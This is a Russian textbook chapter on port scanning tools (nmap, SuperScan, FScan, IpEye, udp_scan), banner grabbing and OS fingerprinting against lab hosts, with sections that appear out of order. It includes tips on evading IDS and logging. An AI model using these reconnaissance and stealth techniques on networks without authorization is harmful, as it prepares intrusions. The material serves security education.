Aggressiveнет5 минут1 секунда (1.5 макс)да
Insaneнет75 секунд0.3 секунд максда
scan_delayhost_timeoutinitial_rtt_timeout min_rtt_timeout max_rtt_timeoutmax_parallelism

Nmap по умолчанию всегда ожидает ответа около 0.3 секунды (300 миллисекунд). Он запускается с начальным значением rtt_timeout (по умолчанию 6 секунд) и затем последовательно уменьшает или увеличивает значение в зависимости от предыдущих значений. Это позволяет оптимизировать производительность сканирования. Если хост отзывается быстро, то параметр rtt_timeout уменьшается. Если задержка слишком велика, nmap увеличивает параметр rtt_timeout. Но величина задержки по времени всегда остается в пределах между максимальным и минимальным значением. Малое значение параметра rtt_timeout увеличивает шансы ошибочного диагноза о состоянии порта для системы, которая реагирует не слишком быстро.

Параметр -max_parallelism определяет количество одновременно производимых попыток сканирования. Задание в качестве значения параметра 1 отключает параллельное выполнение сканирования. По умолчанию, nmap параллельно выполняет 36 попыток сканирования, если не задано иное значение. Вы можете задать для nmap существенно большее количество соединений для сканирования, используя параметр -M. В исходных кодах программы nmap задано предельное значение числа соединений 1025.



Реализация


Одна из причин, по которой nmap так широко используется, состоит в том, что он предоставляет много приемов для сканирования. Вы можете сканировать работающие хосты на предмет наличия TCP-портов, UDP-портов и любых других IP-протоколов. Поскольку мы подробно говорим о том, как nmap обеспечивает сканирование по протоколу TCP, вам понадобятся некоторые знания о том, как осуществляется TCP-соединение. В таблице 6.1 представлены описания наиболее общих флагов, которые могут быть использованы в процессе TCP-соединения.

Когда для определенного порта создано TCP-соединение, клиент посылает TCP-пакет с установленным флагом SYN для инициализации соединения. Если сервер прослушивает этот порт, он посылает пакет с установленными флагами SYN и ACK, подтверждая клиентский запрос на соединение, одновременно запрашивая установление обратного соединения. Затем клиент может послать пакет с установленным флагом ACK, подтверждая запрос SYN от сервера. Такой способ известен как трехходовое установление связи TCP. Когда одна из сторон выполнит передачу другой, она может послать пакет FIN. Другая сторона должна подтвердить этот пакет FIN и послать свое собственное сообщение FIN, ожидая от другой стороны подтверждения того, что соединение действительно закрыто. Для экстренного прерывания соединения любая из сторон может передать пакет с флагом RST. Простое TCP-взаимодействие между клиентом и сервером представлено ниже.

Клиент посылает серверу сообщение SYN: "Я запрашиваю соединения".Сервер посылает SYN/ACK-клиенту: "Okay; мне необходимо соединение с тобой".Клиент посылает сообщение ACK-серверу: "Okay".Клиент и сервер посылают информацию вперед-назад, подтверждая каждую передачу сигналом ACK. Если одна из сторон посылает сообщение RST, соединение прерывается немедленно.Клиент желает завершить взаимодействие; клиент посылает серверу сообщение FIN: "Goodbye".Сервер посылает сообщение ACK-клиенту (подтверждая получение сообщения FIN). Затем сервер посылает собственное сообщение FIN: "Okay.

NetScanTools представляет собой приятный графический интерфейс к большому количеству свободно-доступных утилит командной строки, которые были описаны в лекции "Системные средства с открытым программным кодом: основы": Ping, Traceroute, Finger, whois/fwhois и другие им подобные. Он также взаимодействует с несколькими вышедшими из употребления службами типа echo, daytime, quote и chargen, которые не слишком широко распространены в сети Internet. Многие из экранных закладок интерфейса NetScanTools, такие как TimeSync, Database Tests, WinSock Info, NetBios Info и IDENT Server, используются для просмотра информации или управления сервисами на хосте, где выполняется программа. Вдобавок, программа может запускать telnet-, FTP- и HTTP-приложения. Программа представляет собой централизованное средство для получения информации о сети и управления сканированием.

Три наиболее используемые возможности сосредоточены на закладках NetScanner, Port Probe и TCP Term. Закладка NetScanner (см. рис. 6.3) может использоваться для сканирования интервала IP-адресов работающих хостов, аналогично запуску nmap -sP. Введите начальное и конечное значения IP-адресов и нажмите кнопку Start. NetScan проведет тестирование заданных вами хостов с использованием Ping, DNS-запросов и некоторых дополнительных whois-запросов. NetScan дает возможность сохранить полученную информацию в текстовый файл или обновить HOSTS-файл на вашей машине с использованием полученной информации.


Рис. 6.3.  Закладка NetScan

Закладка Port Probe (см. рис. 6.4) представляет собой раздел NetScan для сканирования портов. Вы можете определить один хост или интервал хостов для сканирования, а также интервал портов и время сканирования. Результаты сканирования отображаются в виде дерева. Реагирующие порты помечены зеленым цветом, а зеленый символ "d" обозначает, что в процессе сканирования от порта удалось получить некоторые данные. Дважды щелкнув мышью на помеченном зеленым символом "d" порте, вы можете увидеть полученные данные.


Внешний вид пользовательского интерфейса SuperScan (см. рис. 6.6) похож на интерфейс закладки NetScanTools. У программы нет таких дополнительных возможностей, как у NetScanTools, и они ограничены установкой TCP-сеанса, но имеются основные средства, требующиеся для сканирования.

Поиск имен хостов. В этом сеансе вы можете осуществлять поиск имен хостов и IP-адресов. Также вы можете получить информацию о своей системе и имеющихся сетевых интерфейсах.


Рис. 6.6.  Заставка SuperScan

Конфигурация. Этот раздел дает возможность настроить список портов для SuperScan. По умолчанию SuperScan может сканировать все порты, отмеченные в этом списке. Список портов сохраняется в файле с названием scanner.lst, но вы можете задать несколько списков для сканирования с различными целями. Например, программа поставляется с файлом trojans.lst, с помощью которого вы можете сканировать порты, чтобы определить, есть ли где-то в вашей сети машины, у которых порты прослушиваются каким-либо из известных "троянских коней".

Вы можете добавить порты в список, изменить порт и имя службы, выбрать порты для сканирования и изменить вспомогательные приложения, которые будут использоваться для получения дополнительной информации от FTP, Telnet, HTTP и других служб, как это показано на рис. 6.7.

Добавить порт в список просто. Чтобы добавить порт для службы FTP, которую мы обнаружили на порту 2121, вводим число 2121 в поле ввода Port. Если мы хотим, чтобы порт стал частью программы сканирования в текущем листе сканирования, мы должны поставить отметку в поле Selected и ввести описание протокола в поле Description - что-то вроде "возможно, кривой FTP-сервер". Определяя программу и параметры для этого порта, мы можем установить для него "вспомогательное приложение". Как только этот порт появится в результатах сканирования, мы можем запустить это вспомогательное приложение для соединения с ним, щелкнув правой кнопкой мыши и выбрав параметр Custom. Для FTP-сервера такой программой может быть системный ftp-клиент (такой как C:\Windows\FTP.exe), и параметры могут включать любые аргументы командной строки вспомогательного приложения.


Параметры IpEye похожи на аналогичные параметры сканеров портов, которые мы уже рассматривали. Вы можете увеличить промежуток времени между последовательными запросами и изменить исходящий IP-адрес и порт (также поддерживается не слишком удачная функция маскировки).


Чтобы сравнить программу с другими сканерами портов, можно запустить сканирование по сценарию, который уже выполнялся в этой лекции: SYN-сканирование IP-адреса 192.168.1.100 по интервалу портов от 20 до 80. Работа программы и вывод информации представлены ниже.


IpEye дает сводную информацию о своей деятельности. Программа обнаружила открытые FTP-, SSH-, Telnet- и Web-порты и выводит эту информацию в таблице на консоль. У программы нет параметров, обеспечивающих удобный вывод информации, но есть возможность работать скрытно. В системном журнале машины 192.168.1.100 нет никаких следов. У IpEye также есть возможность задать исходящие IP-адреса и порты с использованием параметров -sip и -sp. Для лучшей маскировки от деятельности IDS имеется параметр -d, позволяющий пользователю осуществлять задержку между последовательными сканированиями портов. По умолчанию значение задержки равно 750 миллисекундам.




FScan - наиболее предпочтительный из всех бесплатных сканеров, работающих под управлением Windows, поскольку он обеспечивает возможность UDP-сканирования. Как и для любого UDP-сканера, пакетные фильтры, работающие на сканируемом хосте, могут аккуратно перехватывать результаты вашей работы. Если вы не получаете ожидаемого результата при работе с открытым UDP-портом, то весьма вероятно, что брандмауэр или сетевой фильтр заблокировал ICMP-сообщения "port unreachable", которые большинство UDP-сканеров используют для определения, открыт UDP-порт или нет.

На следующей иллюстрации представлены результаты UDP-сканирования портов от 130 до 140 для поиска NetBios-служб машины, на которой не установлены фильтры. Вы можете видеть, что по адресу 192.168.1.102 работает служба NetBIOS (UDP-порты 137 и 138).


В остальном FScan похож на nmap и другие сканеры, которые уже упоминались. Вы можете использовать параметр -b для запроса заголовков или получения ответа от портов, с которыми вы соединились, как это показано на следующей иллюстрации.


Это сканирование не так успешно, как проведенное с использованием SuperScan, поскольку невозможно запросить заголовок HTTPD. Это происходит потому, что у нас нет способа задать пробный текст для FScan. Он может послать только возврат каретки и перевод строки и отобразить ответ сервера.

Примечание. Некоторые Web-серверы не требуют получения команды HTTP GET для передачи информации. Web-сервер, работающий на маршрутизаторе Linksys EtherFast Cable/DSL, может вернуть HTTP-информацию просто в ответ на отправку символов "возврат каретки" и "перевод строки".

Вы можете использовать флаги -c, -d и -t для управления временными параметрами. Можете задать IP-адреса в виде интервала или разделенного запятыми списка (например, 192.168.1.1,192.168.1.100-192.168.1.102), а также значения портов (-p 21-23,80 или -u 137-138,514). Ниже приведен список аргументов командной строки FScan, взятый непосредственно из файла README.

FScan [-abefhqnv?] [-cditz <n>] [-flo <file>] [-pu <n>[,<n>-<n>]] IP[,IP-IP]

-?/-h - shows this help text -a - append to output file (used in conjunction with -o option) -b - get port banners -c - timeout for connection attempts (ms) -d - delay between scans (ms) -e - resolve IP addresses to hostnames -f - read IPs from file (compatible with output from -o) -i - bind to given local port -l - port list file - enclose name in quotes if it contains spaces -n - no port scanning - only pinging (unless you use -q) -o - output file - enclose name in quotes if it contains spaces -p - TCP port(s) to scan (a comma separated list of ports/ranges) -q - quiet mode, do not ping host before scan -r - randomize port order -t - timeout for pings (ms) -u - UDP port(s) to scan (a comma separated list of ports/ranges) -v - verbose mode -z - maximum simultaneous threads to use for scanning




Одно из замечательных свойств WUPS - удобный графический интерфейс, показанный на рис. 6.9. Как и с другими UDP-сканерами, фильтры пакетов, перехватывающие сообщения "port unreachable", могут вернуть ложную положительную информацию для сканирования. Другой недостаток WUPS - возможность одновременно обрабатывать только один IP-адрес. На рис. 6.9 мы представляем процесс сканирования портов от 1 до 1024 по адресу 192.168.1.102 с задержкой по времени 100 миллисекунд. Видно, что по адресу 192.168.1.102 отзывается Windows-машина, поскольку на портах 137 и 138 выполняется NetBIOS, а на порту 445 SMB поверх IP-протокола, также являющийся службой Microsoft.


Рис. 6.9.  Примерный интерфейс WUPS




Использование Udp_scan очень просто; введите IP-адрес и интервал портов и запустите на выполнение.

# ./udp_scan 192.168.1.102 1-1024 37:netbios-ns: 138:netbios-dgm: 445:UNKNOWN: 500:UNKNOWN

Udp_scan использует изощренную технику оптимизации сканирования. Сначала (по умолчанию) он посылает UDP-пакет по адресу 1 порта UDP сканируемого хоста. Затем он ожидает получения сообщения "ICMP port unreachable error". Если оно не приходит, он делает вывод о том, что хост не работает (если только брандмауэр не блокировал передачу этого сообщения), и не продолжает сканирование этого хоста. Сканирование 1-го порта UDP можно изменить, воспользовавшись опцией -p port. Тестируемый порт всегда должен быть портом UDP, который не будет использоваться каким-либо сервисом на сканируемом хосте.

Совет. Иногда udp_scan не может должным образом обнаружить неработающий хост. Если IP-адреса исследуемых хостов расположены в вашей собственной сети, а MAC-адреса отсутствуют в вашем ARP-буфере, udp_scan может исчерпать время ожидания, отведенное для получения ответа в процессе широковещательного ARP-запроса. Udp_scan может зависнуть и ничего не сообщить о том, что данный хост выключен.

Udp_scan аккуратно отслеживает свою деятельность в сети при сканировании. По умолчанию он может открыть до 100 одновременных UDP-соединений (вы можете изменить эту верхнюю цифру, используя флаг -l <max_connections> в командной строке). Он использует анализ времени возврата своих пакетов, определенных в начальной фазе тестирования, чтобы вычислить максимальное количество одновременно выполняемых тестов, которое возможно в данной сети. Каждый UDP-пакет, посланный udp_scan, содержит только один байт данных (символ "0") с целью минимизации загрузки полосы пропускания и получения наиболее достоверного результата. Некоторые UDP-службы и фильтры портов по-разному реагируют на UDP-пакеты без данных, поэтому UDP-пакеты сопровождаются полезной нагрузкой.

Есть только несколько опций, которые вы можете использовать с udp_scan. Опция -a сообщает программе о необходимости выводить все сообщения об ошибках, так же как и о протестированных UDP-портах. Опция -u указывает, что в случае получения ICMP-сообщения "host unreachable" необходимо вывести номер UDP-порта, который вернул ошибку. С другой стороны, опция -U выдаст вам совершенно противоположное сообщение, выведя сообщения о портах, для которых не были получены ICMP-сообщения об ошибках "host unreachable". Еще только с помощью одной опции для udp_scan можно определить, какой UDP-порт использовать на сканирующей машине, задав в командной строке параметр -s <source_port>.

У Udp_scan есть несколько ограничений в использовании. Поскольку он использует ICMP-сокеты, udp_scan может быть запущен только root-пользователем или с полномочиями суперпользователя (uid 0). Как и WUPS, одновременно он может поддерживать соединение только с одним IP-адресом.

Пример из жизни. Порты пишут картину

Используя сканер портов, мы можем быстро получить карту различных служб, запускаемых на удаленном хосте. Если мы устанавливаем TCP-соединение по порту 80 и получаем ответ, есть шансы, что на хосте работает Web-сервер. Анализируя ответ, мы можем проверить это предположение. Сканер порта дает нам информацию, необходимую при идентификации целевых хостов. Идентификация служб, проводимая на хосте, говорит нам о цели хоста и подскажет несколько мест, которые мы можем проверить на слабость. При ожидании на каждом открытом порте можно сказать, что уязвимая служба просто ждет, чтобы ее использовали.

Поскольку различные операционные системы приходят с различными инсталлированными службами, работающими по умолчанию, иногда только выходная информация со сканирования порта может помочь в идентификации операционной системы хоста. Давайте проведем сканирование порта машины в моей сети и посмотрим, что мы найдем.

[bjohnson@originix nmap-2.54BETA30]$ ./nmap 192.168.1.100

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ ) Interesting ports on (192.168.1.100): (The 1541 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 80/tcp open http 1024/tcp open kdm 1030/tcp open iad1 6000/tcp open X11 8888/tcp open sun-answerbook

Nmap run completed - 1 IP address (1 host up) scanned in 1 second [bjohnson@originix nmap-2.54BETA30]$

Выглядит так, как будто на этой машине работает множество обычных подозрительных программ FTP, SSH, telnet и Web. В конечном счете, мы захотим увидеть, что произойдет, когда мы запустим FTP-, telnet- или Web-броузер на этом хосте. Но что это за последняя запись - sun-answerbook? После небольшого исследования мы находим, что эта служба обычно инсталлируется по умолчанию и запускается при запуске большинства систем Sun. Выглядит так, как будто мы нашли хост Sun Solaris.

Но не так быстро. Просто потому, что пришел ответ на порт 8888 (порт, используемый службой Answerbook), не факт, что это действительно Answerbook! Это может быть что угодно: Web-сервер, FTP-сервер или черный ход, установленный хакером! Оказывается, системный администратор установил средство Netcat (см. лекцию "NETCAT и CRYPTCAT"), чтобы прослушивать порт 8888, в качестве своеобразной ловушки. Системный администратор может обмануть неопытного хакера, и тот может подумать, что Linux-машина - это на самом деле хост Sun.

Пример из жизни. Распознавание заголовков

Сбор информации об операционных системах не был таким сложным, каким он может оказаться сейчас. Несколько лет назад пользователи, программисты и системные администраторы не были такими параноиками, озабоченными безопасностью. Когда пользователь обращался с помощью telnet к удаленному хосту, то одновременно с логином хост сообщал пользователю свое имя, тип и версию операционной системы, и даже, вероятно, свое географическое положение - все, не спрашивая сначала у пользователя его действительного имени и пароля.

Операционные системы Unix увлекались разглашением своих биографий при простом TCP-соединении с сервером telnet. Люди могли собирать информацию о хостах в сети, получая список IP-адресов, живущих в сети (вероятно, с помощью fping) и устанавливая TCP-соединение на порте 23 с каждым хостом, чтобы собирать ответы. Сейчас многие системные администраторы не позволяют приложениям своей сети сообщать так много информации об операционной системе без предшествующей идентификации или авторизации. Однако информация о версии специфических приложений по-прежнему доступна.

Telnet был заменен на Secure Shell (SSH). Когда SSH-соединение установлено, сервер выдаст свою версию протокола SSH без запрашивания какой-либо информации от клиента. Сервер обычно ожидает, что клиент идентифицирует себя своей версией SSH-протокола. Этот обмен версиями часто необходим в общении клиент/сервер, чтобы убедиться, что обе стороны говорят на одном языке. Следовательно, раскрытие информации о специфической версии приложения часто неизбежно. Использование почтового клиента, чтобы присоединиться к почтовому серверу, или Web-клиента, чтобы присоединиться к Web-серверу, не обязательно выдаст вам эту информацию. Но использование программы типа Telnet или Netcat, чтобы установить TCP-соединение непосредственно с почтовым или Web-сервером, обычно позволяет получить информацию, которой вы, как правило, не увидите при использовании клиентов, взаимодействующих с этим сервером.

Давайте попробуем кое-что. Во-первых, посмотрим, достаточно ли добра моя Linux-машина, чтобы сообщить нам, с какой версией FTP-сервера она работает (если вообще работает с какой-либо).

[bjohnson@originix ~]$ telnet 192.168.1.100 21 Trying 192.168.1.100... Connected to 192.168.1.100. Escape character is '^]'. 220 originix FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready

Originix сообщил нам не только свою версию FTP. Он был настолько добр, чтобы сообщить нам дату своего создания. Неважно, что она достаточно стара, есть шансы, что у этой версии есть несколько уязвимых моментов, которыми может воспользоваться взломщик. Обратите внимание на эту возможную слабость. Эта техника называется захватом заголовков, и она может сегодня применяться многими сканерами портов (включая SuperScan и FScan) как часть процесса. Давайте посмотрим, что скажет Web-сервер.

[bjohnson@originix ~]$ telnet 192.168.1.100 80 Trying 192.168.1.100... Connected to 192.168.1.100. Escape character is '^]'. GET / HTTP

HTTP/1.1 200 OK Date: Tue, 29 Jan 2002 07:18:07 GMT Server: Apache/1.3.14 (Unix) (Red-Hat/Linux) Last-Modified: Sat, 05 Aug 2000 04:39:51 GMT ETag: "3a107-24-398b9a97" Accept-Ranges: bytes Content-Length: 36 Connection: close Content-Type: text/html

I don't think you meant to go here. Connection closed by foreign host.

Это было немного сложнее. Когда мы впервые установили соединение, Web-сервер ответил (указывая, что что-то действительно работало на Web-порте), но затем он просто остановился, как будто ждал чего-то от нас. Обычно Web-клиенты запрашивают страницы HTML с Web-сервера. Проведя небольшое исследование на HTTP, я обнаружил, что мне нужно было послать запрос GET на сервер (завершаемый двумя нажатиями клавиши enter), чтобы получить значимую информацию. Сделав это, я мог увидеть детали заголовка HTTP, которые обычно скрыты Web-клиентом. Этот сервер появляется при запуске версии Apache 1.3.14. Ох! Посмотрите на это! Он также сказал нам, что он работает под RedHat Linux!

Черт возьми, давайте посмотрим, какой заголовок мы получим, когда применим telnet к telnet-серверу хоста.

[bjohnson@originix ~]$ telnet 192.168.1.100 23 Trying 192.168.1.100... Connected to 192.168.1.100. Escape character is '^]'. Dobbylan Linux release 8.1 (Cauliflower) Kernel 2.5.38-02 on an i986 login: telnet close Connection closed. [bjohnson@originix ~]$

Dobbylan Linux? Kernel 2.5? i986? Это не имеет смысла. Последний сеанс с telnet дал нам важный урок: не всегда доверяйте информации, которую дают эти заголовки. Например, редактируя файл /etc/issue.nete на RedHat Linux 6.1, я смог изменить мой заголовок telnet в неидентифицируемую тарабарщину. Однако Web-сервер по-прежнему выдавал секрет о том, что у меня RedHat. Некоторые заголовки сетевых приложений могут быть модифицированы только при изменении действительного исходного кода, но обычно это не сложно сделать.

Хитрость - это важное средство в арсенале каждого, кто занимается защитой. Каждый взломщик должен думать о том, насколько верна информация, которую он собирает. С соответствующим набором средств и навыков сетевой пакет операционной системы может быть модифицирован особым образом, чтобы она выглядела, как другая операционная система! Это довольно сложно, поэтому не ожидайте, что это будет часто случаться. Но это возможно, и вероятность достаточно велика, чтобы заставить взломщика подумать о достоверности имеющейся информации.

Пример из жизни. ОС вручную

За исключением тех нескольких мудреных систем, чьи администраторы потратили время на создание ловушек, большинство систем продаются, как системы "под ключ", и их просто достают из упаковки, включают в электросеть и включают в работу без особой модификации и без отключения служб по умолчанию. Сканер порта системы в этом состоянии выдаст схему порта, что можно, скорее всего, соотнести с конкретной операционной системой. Если вы сканируете порт известной не модифицированной системы, а затем используете это для сравнения с результатами сканирования неизвестных главных машин, то вы зачастую можете обнаружить близкие или почти точные совпадения, что говорит о тождестве удаленной операционной системы.

Большинство систем нельзя определить по схемам портов. Однако, как и по акценту человека можно определить географический регион, из которого он происходит, так и способ, на котором система говорит на TCP/IP, может быть идентифицирующим признаком. Действительные спецификации протокола TCP/IP находятся в комплекте документов, называемом RFCs (Request For Comments). Эти документы описывают структуру фактических пакетов данных и то, как реализация стека сети должна упаковывать, передавать, получать и распаковывать пакеты данных.

Спецификации и стандарты, обозначенные в этих документах, считаются директивами для людей, которые пишут и занимаются дизайном программного обеспечения сетевых протоколов на уровне операционной системы. Следуя этим спецификациям, дизайнеры и авторы могут гарантировать, что их сетевые интерфейсы смогут общаться с любым другим.

Однако, как и любые другие хорошо написанные протоколы, и TCP и IP оставляют место для будущего расширения и специального управления пакетами. И TCP и IP имеют место в конце заголовков для того, что называется опциями. Поля опций позволяют реализации TCP/IP хранить необязательную информацию в пакетных заголовках, которые могут быть полезны для других реализаций TCP/IP при получении этих пакетов. Эта область пакетной структуры настолько свободно обозначена, что она оставляет каждому разработчику пакетов TCP/IP немного места для творчества. Один продавец может использовать и выбрать определенные опции, тогда как другие могут выбрать абсолютно другой набор опций. Поскольку каждый продавец выходит со своей собственной реализацией этих заголовков полей, то каждый пакет начинается с указания его собственной цифровой подписи или описательной информации.

Конкретный пакет TCP/IP может быть связан с конкретным поставщиком еще многими способами. IP-пакеты могут содержать 16-ти разрядное идентификационное поле. За исключением того, что эти номера должны быть уникальными, в RFC нет ничего о том, как эти номера должны выбираться (за исключением ограничения размеров поля в байтах). Также пакеты TCP должны содержать сходную информацию в своих заголовках (относящуюся к порядковым номерам). Порядок номеров помогает TCP отслеживать соединение. Каждая сторона соединения TCP выбирает свой исходный порядок номеров в начале соединения. Методы выбора этого начального порядкового номера предложены в спецификации, однако он также может быть выбран разработчиком, поскольку номера не часто повторяются (в противном случае соединения легко путаются). Есть еще две области для настройки и достижения гибкости в реализации пакета TCP/IP. Реализация каждого продавца может быть проанализирована на конфигурацию, обеспечивая больше способов, чтобы снимать отпечатки пальцев конкретной операционной системы по ее сетевому трафику. Nmap применяет эту технику, чтобы сделать обоснованные предположения об операционной системе каждого сканируемого хоста.

Другие протоколы в TCP/IP могут быть использованы для идентификации операционной системы. Большинство пакетов TCP/IP поставляются со своими собственными утилитами Ping. Эхо-сообщения Internet Control Message Protocol (ICMP) имеют поля для необязательных данных, что позволяет использовать эхо-сообщения разного размера, чтобы увидеть, как управляются большие по размеру пакеты данных. Когда пользователь указывает размер данных для эхо-сообщения, утилита Ping затем должна заполнить это сообщение соответствующим количеством данных. Она может заполнить поле данных одними нулями, может использовать повторяющуюся последовательность алфавитно-цифровых символов, или случайные цифры. Смысл в том, что каждая реализация Ping имеет опцию заполнения поля данных чем угодно. Если вы знаете, какой метод использует конкретный Ping операционной системы, то можете идентифицировать это, просто посмотрев, как взаимодействует Ping с хостом.

<

Результаты сканирования


Рассмотрим все вместе. Мы хотим произвести сканирование Linux-машины (192.168.1.100) и Windows-машины (192.168.1.101) по всем портам в нашем списке между 20 и 80 портами и посмотреть, что сможет определить SuperScan. Настройки для такого сканирования и результаты сканирования представлены на рис. 6.8.


увеличить изображение
Рис. 6.8.  Сканирование

SuperScan нашел четыре открытых порта и использовал тесты (определенные в конфигурации списка портов на рис. 6.7) для получения любой информации, которую можно получить от этих портов. Обратите внимание на тарабарщину, полученную от 23 порта telnet. Это те самые параметры telnet, о которых упоминалось в лекции "NETCAT и CRYPTCAT". Нет простого пробного текста, который можно было бы использовать для захвата информации, поступающей от telnet-порта в заголовке. В этой ситуации мы можем щелкнуть на информации о 23 порте правой кнопкой мыши и выбрать параметры telnet для соединения с этим портом напрямую, чтобы увидеть заголовок приглашения.

Как уже упоминалось в предыдущей подсказке, эта программа оставляет следы в системном журнале, поскольку требует полного соединения для получения информации. Это плата за то, что вы хотите узнать, что за служба работает на сканируемом порте.

Совет. В отличие от Unix-систем, которые располагают обработчиками TCP-запросов (inetd или xinetd), управляющими системными службами и ведущими журнал попыток соединения с ними, Windows не имеет собственных средств ведения журнала попыток установки соединений с портами. Отдельные службы (вроде IIS на 80 порте) могут занести информацию о соединении в собственный журнал, но средства, которое бы по умолчанию заносило этот вид активности в системный журнал, нет. При сканировании Windows-машины у вас больше шансов остаться незамеченным, исключая случаи, когда под Windows работает система обнаружения вторжений (IDS).



Сканирование хостов


Если вы интересуетесь только определением, какие хосты в сети работают, то можете использовать метод сканирования с использованием Ping (-sP). Этот метод работает также как fping, когда он посылает ICMP эхо-запросы по заданному промежутку IP-адресов и ожидает ответа. Однако многие хосты на сегодняшний день блокируют ICMP-запросы. В этом случае nmap дает возможность установить с хостом TCP-соединение по 80 порту (по умолчанию). Если он получает что-либо (SYN/ACK или RST), значит хост работает. Если он ничего не получает, хост маркируется как не работающий или отключенный от сети. Если вы хотите всего лишь получить список имен хостов для заданного IP-интервала, попытайтесь использовать опцию -sL.

Примечание. Важно понимать, как работает TCP Ping-сканирование для IP-адреса. Если сервис прослушивает порт, и кто-то пытается установить соединение с ним (посылая SYN пакет), сервис может послать в ответ пакет SYN/ACK. Это наглядно показывает, что по этому IP-адресу есть машина. Однако если отсутствует сервис, который прослушивал бы указанный порт, а машина находится в сети, в ответ будет послан пакет RST. Независимо от того, отвечает машина на запрос, или по заданному порту нет работающего сервиса, сам факт такого ответа подтверждает, что по заданному IP-адресу есть машина. Если в ответ на посланный SYN-пакет ничего не получено, это может означать, что по заданному IP-адресу нет никакой машины, или что такой трафик блокируется брандмауэром. 80 порт задан по умолчанию, поскольку большинство брандмауэров и фильтров пропускают Web-трафик. Если никакого ответа не получено, nmap с достаточной степенью уверенности может предположить, что хост не работает. Вы можете изменить номер порта, используемого nmap для TCP Ping, задав в командной строке -PT <port_number>.



Сканирование протоколов


Если вы предприняли неудачную попытку соединения с UDP-портом, хост вернет ICMP-сообщение "port unreachable". То же самое можно сказать и про IP-протоколы. Каждый IP-протокол транспортного уровня имеет соответствующий номер. Наиболее распространены ICMP (1), TCP (6) и UDP (17). У всех IP-пакетов есть поле "protocol", которое показывает тип заголовков пакетов и номер протокола транспортного уровня. Если мы посылаем серию пакетов без заголовка протокола транспортного уровня и с номером протокола 130, который означает протокол семейства IPSEC, называемый SPS (Secure Packet Shield), мы можем определить, какой из протоколов реализован на данном хосте. Если мы получаем ICMP-сообщение "protocol unreachable", то этот протокол недоступен. В противном случае - доступен. Этот метод сканирования, называемый сканированием протоколов (-sO), страдает теми же самыми проблемами, что и UDP-сканирование в том случае, если брандмауэр блокирует ICMP-сообщения или непосредственно сам протокол дает ложные ответы.



Сканирование TCP-портов


Основной метод сканирования TCP-портов - это установление TCP-соединения connect() (-sT) с портом, чтобы посмотреть, будет ли получен ответ. То же самое делает TCP-клиент, желая установить соединение (законченное трехходовое соединение), за исключением того, что nmap может разорвать соединение, послав пакет RST, как только соединение будет установлено. Можно использовать сканирование RPC (-sR) для сканирования любого открытого для RPC-сервиса порта (такого, как portmapper). Ниже приведены несколько примеров этих способов сканирования.

[bjohnson@originix ~]$ nmap -sT 192.168.1.109

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ ) Interesting ports on cauliflower (192.168.1.109): (The 1518 ports scanned but not shown below are in state: closed) Port State Service 22/tcp open ssh 111/tcp open sunrpc 884/tcp open unknown 889/tcp open unknown 6000/tcp open X11

Nmap run completed - 1 IP address (1 host up) scanned in 0 seconds [bjohnson@originix ~]$ nmap -sR 192.168.1.109

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ ) Interesting ports on cauliflower (192.168.1.109): (The 1518 ports scanned but not shown below are in state: closed) Port State Service (RPC) 22/tcp open ssh 111/tcp open sunrpc (rpcbind V2) 884/tcp open (mountd V1-2) 889/tcp open (mountd V1-2) 6000/tcp open X11 Nmap run completed - 1 IP address (1 host up) scanned in 3 seconds

Обратите внимание, как при сканировании -sR используются RPC-команды для определения, есть ли в наличии работающий RPC-сервис. Nmap исследует тип и версию работающих сервисов rpcbind и mountd. Следующая таблица показывает, как выполняется сканирование -sT, -sR и -sP типов.

Nmap посылает на порт хостаNmap получает от порта хостаNmap отвечаетNmap принимает решение
SYNSYN/ACKACK следом за RSTПорт открыт; хост работает.
SYNRST-Порт закрыт; хост работает.
SYNNothing-Порт блокирован брандмауэром или хост не работает.

Это великолепно, но поскольку вы всего лишь создали TCP-соединение, оно, скорее всего, будет зарегистрировано службой, предоставившей его.


Nmap позволяет сделать много интересного с TCP-пакетами, которые вы используете для сканирования портов. Во-первых, есть SYN-сканирование (-sS), которое создает первую половину TCP-соединения (посылая TCP-пакет с установленным флагом SYN) но затем ведет себя несколько иначе. Если приходит TCP-пакет с установленным флагом RST, nmap решает, что порт закрыт и ничего больше не предпринимает. Однако если приходит ответ (о чем свидетельствует пакет с установленным флагом SYN/ACK), вместо того чтобы подтвердить получение этого пакета, как это было бы при установлении нормального соединения, посылается RST-пакет, как это показано в следующей таблице. Поскольку трехходовое TCP-соединение не завершено, многие сервисы не регистрируют соединение. Поскольку вы осуществляете манипуляции с некоторыми из этих TCP-флагов на низком уровне, вы не можете реализовать эти типы сканирования, не имея полномочий пользователя root в системе.

Nmap посылает на порт хостаNmap получает от порта хостаNmap отвечаетNmap принимает решение
SYNSYN/ACKRSTПорт открыт; хост работает.
SYNRST-Порт закрыт; хост работает.
SYNNothing-Порт блокирован брандмауэром или хост не работает.
Так же как сервисы могут не регистрировать "незавершенное" соединение, некоторые брандмауэры или системы определения вторжений (IDSs) могут быть настроены на поиск таких типов сканирования. У Nmap есть несколько способов сканирования, но и хорошие IDSs-системы могут поймать вас. Вдобавок, брандмауэр может фильтровать подозрительные пакеты и искажать результаты сканирования.

Вы должны были уже понять, что в любой момент, как только вы посылаете TCP-пакет на закрытый порт, стек TCP/IP на другой стороне готов послать в ответ RST-пакет. Что же в этом случае происходит с разрешенными TCP пакетами? Если закрытый порт всегда отвечает пакетами RST, почему бы просто не посылать не имеющие смысла пакеты и не смотреть, что придет в ответ?

FIN-сканирование (-sF) посылает пакеты FIN, которые обычно используются для закрытия соединения.


